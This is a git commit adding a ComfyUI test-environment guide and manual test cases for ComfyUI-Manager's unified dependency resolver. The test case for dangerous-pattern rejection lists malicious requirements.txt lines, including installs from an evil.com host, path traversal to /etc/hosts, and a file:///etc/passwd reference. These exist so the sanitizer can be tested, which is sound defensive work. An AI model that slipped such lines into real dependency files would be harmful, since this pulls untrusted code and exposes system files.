test(deps): add manual test cases for unified dependency resolver

Add environment setup guide and 16 test cases covering:
- Normal batch resolution (TC-1), disabled state (TC-2)
- Fallback paths: uv unavailable (TC-3), compile fail (TC-4),
  install fail (TC-5), generic exception (TC-16)
- install.py preservation (TC-6), runtime defer (TC-13)
- Input sanitization: dangerous patterns (TC-7), path separators
  (TC-8), index-url separation (TC-9), credential redaction (TC-10)
- Disabled pack exclusion (TC-11), no-deps path (TC-12)
- Both unified resolver guard paths (TC-14), post-fallback (TC-15)

Includes API reference, traceability matrix, and out-of-scope items.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Dr.Lt.Data 2026-02-14 07:40:34 +09:00
parent bd38ff25a1
commit df072a101f
2 changed files with 623 additions and 0 deletions

View File

@ -0,0 +1,108 @@
# Test Environment Setup
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
## Prerequisites
- Python 3.9+
- Git
- `uv` (pip alternative, install via `pip install uv`)
## Environment Setup
### 1. ComfyUI Clone
```bash
COMFY_ROOT=$(mktemp -d)/ComfyUI
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
cd "$COMFY_ROOT"
```
### 2. Virtual Environment
```bash
cd "$COMFY_ROOT"
uv venv .venv
source .venv/bin/activate # Linux/macOS
# .venv\Scripts\activate # Windows
```
### 3. ComfyUI Dependencies
```bash
# GPU (CUDA)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
# CPU only (lightweight, for functional testing)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
```
### 4. ComfyUI-Manager Install (Development)
```bash
# MANAGER_ROOT = comfyui-manager-draft4 repository root
MANAGER_ROOT=/path/to/comfyui-manager-draft4
# Editable install from current source
uv pip install -e "$MANAGER_ROOT"
```
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
### 5. ComfyUI Launch
```bash
cd "$COMFY_ROOT"
python main.py --enable-manager --cpu
```
| Flag | Purpose |
|------|---------|
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
| `--cpu` | Run without GPU (for functional testing) |
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
| `--listen` | Allow remote connections (optional) |
### Key Directories
| Directory | Path | Description |
|-----------|------|-------------|
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
### Startup Sequence
When Manager loads successfully, the following log lines appear:
```
[PRE] ComfyUI-Manager # prestartup_script.py executed
[START] ComfyUI-Manager # manager_server.py loaded
```
## Cleanup
```bash
deactivate
rm -rf "$COMFY_ROOT"
```
## Quick Reference (Copy-Paste)
```bash
# Full setup in one block
COMFY_ROOT=$(mktemp -d)/ComfyUI
MANAGER_ROOT=/path/to/comfyui-manager-draft4
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
cd "$COMFY_ROOT"
uv venv .venv && source .venv/bin/activate
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
uv pip install -e "$MANAGER_ROOT"
python main.py --enable-manager --cpu
```

View File

@ -0,0 +1,515 @@
# Test Cases: Unified Dependency Resolver
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
## Enabling the Resolver
Add the following to `config.ini` (in the Manager data directory):
```ini
[default]
use_unified_resolver = true
```
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
## API Reference (for Runtime Tests)
Node pack installation at runtime uses the task queue API:
```
POST http://localhost:8188/v2/manager/queue/task
Content-Type: application/json
```
**Payload** (`QueueTaskItem`):
| Field | Type | Description |
|-------|------|-------------|
| `ui_id` | string | Unique task identifier (any string) |
| `client_id` | string | Client identifier (any string) |
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
| `params` | object | Operation-specific parameters (see below) |
**Install params** (`InstallPackParams`):
| Field | Type | Description |
|-------|------|-------------|
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
| `version` | string | Required by model. Set to same value as `selected_version`. |
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
> **Note**: `cm_cli` imports from `legacy/manager_core.py` and does **not** participate in unified resolver. CLI-based installs always use per-node pip. See [Out of Scope](#out-of-scope-deferred).
---
## Out of Scope (Deferred)
The following are intentionally **not tested** in this version:
- **cm_global integration**: `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in unified mode.
- **cm_cli (CLI tool)**: `cm_cli` imports from `legacy/manager_core.py` which does not have unified resolver integration. CLI-based installs always use per-node pip install regardless of the `use_unified_resolver` flag. This is a known limitation, not a defect.
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
## Test Fixture Setup
Each TC that requires node packs should use isolated, deterministic fixtures:
```bash
# Create test node pack
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
# Cleanup after test
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
```
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
---
## TC-1: Normal Batch Resolution [P0]
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
**Steps**:
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
2. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
---
## TC-2: Disabled State (Default) [P1]
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
**Steps**: Start ComfyUI
**Verify**: No `[UnifiedDepResolver]` log output at all
---
## TC-3: Fallback When uv Unavailable [P0]
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
**Steps**:
1. Create a venv **without** uv installed (`uv` package not in venv)
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
3. Start ComfyUI
```bash
# Reliable uv removal: both module and binary must be absent
uv pip uninstall uv
# Verify neither path works
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
```
**Expected log**:
```
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Subsequent node pack installations use per-node pip install normally
---
## TC-4: Fallback on Compile Failure [P0]
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
**Steps**:
1. Node pack A `requirements.txt`: `numpy==1.24.0`
2. Node pack B `requirements.txt`: `numpy==1.26.0`
3. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
---
## TC-5: Fallback on Install Failure [P0]
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
**Steps**:
1. Create node pack with `requirements.txt`: `numpy<2`
2. Force install failure by making the venv's `site-packages` read-only:
```bash
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
3. Start ComfyUI
4. After test, restore permissions:
```bash
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
```
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install
---
## TC-6: install.py Execution Preserved [P0]
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
**Steps**:
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
```bash
curl -X POST http://localhost:8188/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-installpy",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id-with-install-py>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
> Alternatively, use the Manager UI to install the same pack.
2. Check logs after installation
**Verify**:
- `Install: install script` is printed (install.py runs immediately during install)
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
---
## TC-7: Dangerous Pattern Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Include any of the following in a node pack's `requirements.txt`:
```
-r ../../../etc/hosts
--requirement secret.txt
-e git+https://evil.com/repo
--editable ./local
-c constraint.txt
--constraint external.txt
--find-links http://evil.com/pkgs
-f http://evil.com/pkgs
evil_pkg @ file:///etc/passwd
```
**Expected log**:
```
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
```
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
---
## TC-8: Path Separator Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
../evil/pkg
bad\pkg
./local_package
```
**Expected log**:
```
[UnifiedDepResolver] rejected path separator: '...' from <path>
```
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
---
## TC-9: --index-url / --extra-index-url Separation [P0]
**Precondition**: `use_unified_resolver = true`
Test all four inline forms:
| # | `requirements.txt` content | Expected package | Expected URL |
|---|---------------------------|-----------------|--------------|
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
**Verify**:
- Package spec is correctly extracted (or empty for standalone lines)
- URL is passed as `--extra-index-url` to `uv pip compile`
- Duplicate URLs across multiple node packs are deduplicated
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
---
## TC-10: Credential Redaction [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
private-pkg --index-url https://user:token123@pypi.private.com/simple
```
**Verify**:
- `user:token123` does NOT appear in logs
- Masked as `****@` in log output
---
## TC-11: Disabled Node Packs Excluded [P1]
**Precondition**: `use_unified_resolver = true`
**Steps**: Test both disabled styles:
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
3. Start ComfyUI
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
---
## TC-12: No Dependencies [P2]
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
**Steps**: Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] No dependencies to resolve
```
**Verify**: Compile/install steps are skipped; startup completes normally
---
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
**Steps**:
1. Start ComfyUI and confirm batch resolution succeeds
2. While ComfyUI is running, install a new node pack via API:
```bash
curl -X POST http://localhost:8188/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-defer-1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
> Alternatively, use the Manager UI to install a node pack.
3. Check logs after installation
**Verify**:
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- `Install: pip packages` does NOT appear
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
---
## TC-14: Both Unified Resolver Code Paths [P0]
Verify both code locations that guard per-node pip install behave correctly in unified mode:
| Path | Guard Variable | Trigger | Location |
|------|---------------|---------|----------|
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
| Startup lazy install | `_unified_resolver_succeeded` | Queued install processed at restart | `prestartup_script.py` `execute_lazy_install_script()` (~line 594) |
> **Note**: The standalone `execute_install_script()` in `glob/manager_core.py` (~line 1881) also has a unified resolver guard but is reachable via `update-comfyui`, git-based node pack updates, gitclone operations, CLI, and legacy server paths. The guard is identical to the class method; see [Out of Scope](#out-of-scope-deferred).
**Steps**:
**Path 1 — Runtime API install (class method)**:
```bash
# While ComfyUI is running:
curl -X POST http://localhost:8188/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-path1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack that has both `install.py` and `requirements.txt`.
**Path 2 — Startup lazy install (`execute_lazy_install_script`)**:
1. Create a test node pack with both `install.py` and `requirements.txt`:
```bash
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_lazy"
echo 'print("lazy install.py executed")' > "$COMFY_ROOT/custom_nodes/test_pack_lazy/install.py"
echo "chardet" > "$COMFY_ROOT/custom_nodes/test_pack_lazy/requirements.txt"
```
2. Manually inject a `#LAZY-INSTALL-SCRIPT` entry into `install-scripts.txt`:
```bash
SCRIPTS_DIR="$COMFY_ROOT/user/__manager/startup-scripts"
mkdir -p "$SCRIPTS_DIR"
PYTHON_PATH=$(which python)
echo "['$COMFY_ROOT/custom_nodes/test_pack_lazy', '#LAZY-INSTALL-SCRIPT', '$PYTHON_PATH']" \
>> "$SCRIPTS_DIR/install-scripts.txt"
```
3. Start ComfyUI (with `use_unified_resolver = true`)
**Verify**:
- Path 1: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>` appears, `install.py` runs immediately, `Install: pip packages` does NOT appear
- Path 2: `lazy install.py executed` is printed (install.py runs at startup), `Install: pip packages for` does NOT appear for the pack (skipped because `_unified_resolver_succeeded` is True after batch resolution)
---
## TC-15: Behavior After Fallback in Same Process [P1]
**Precondition**: Resolver failed at startup (TC-4 or TC-5 scenario)
**Steps**:
1. Set up conflicting deps (as in TC-4) and start ComfyUI (resolver fails, flag reset to `False`)
2. While still running, install a new node pack via API:
```bash
curl -X POST http://localhost:8188/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-postfallback",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
**Verify**:
- New node pack uses per-node pip install (not deferred)
- `Install: pip packages` appears normally
- On next restart with conflicts resolved, unified resolver retries if config still `true`
---
## TC-16: Generic Exception Fallback [P1]
**Precondition**: `use_unified_resolver = true`, an exception escapes before `resolve_and_install()`
This covers the `except Exception` handler at `prestartup_script.py` (~line 793), distinct from `UvNotAvailableError` (TC-3) and `ResolveResult` failure (TC-4/TC-5). The generic handler catches errors in the import, `collect_node_pack_paths()`, `collect_base_requirements()`, or `UnifiedDepResolver.__init__()` — all of which run before the resolver's own internal error handling.
**Steps**:
1. Make the `custom_nodes` directory unreadable so `collect_node_pack_paths()` raises a `PermissionError`:
```bash
chmod a-r "$COMFY_ROOT/custom_nodes"
```
2. Start ComfyUI
3. After test, restore permissions:
```bash
chmod u+r "$COMFY_ROOT/custom_nodes"
```
**Expected log**:
```
[UnifiedDepResolver] startup error: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
- Log pattern is `startup error:` (NOT `startup batch failed:` nor `uv not available`)
---
## Summary
| TC | P | Scenario | Key Verification |
|----|---|----------|------------------|
| 1 | P0 | Normal batch resolution | compile → install pipeline |
| 2 | P1 | Disabled state | No impact on existing behavior |
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
| 7 | P0 | Dangerous pattern rejection | Security filtering |
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
| 9 | P0 | index-url separation | All 4 variants + dedup |
| 10 | P0 | Credential redaction | Log security |
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
| 12 | P2 | No dependencies | Empty pipeline |
| 13 | P1 | Runtime install defer | Defer until restart |
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
### Traceability
| Feature Requirement | Test Cases |
|---------------------|------------|
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
| FR-3: Index URL handling | TC-9 |
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
| FR-5: Batch install | TC-1, TC-5 |
| FR-6: install.py preserved | TC-6, TC-14 |
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
| Disabled node pack exclusion | TC-11 |
| Runtime defer behavior | TC-13, TC-14 |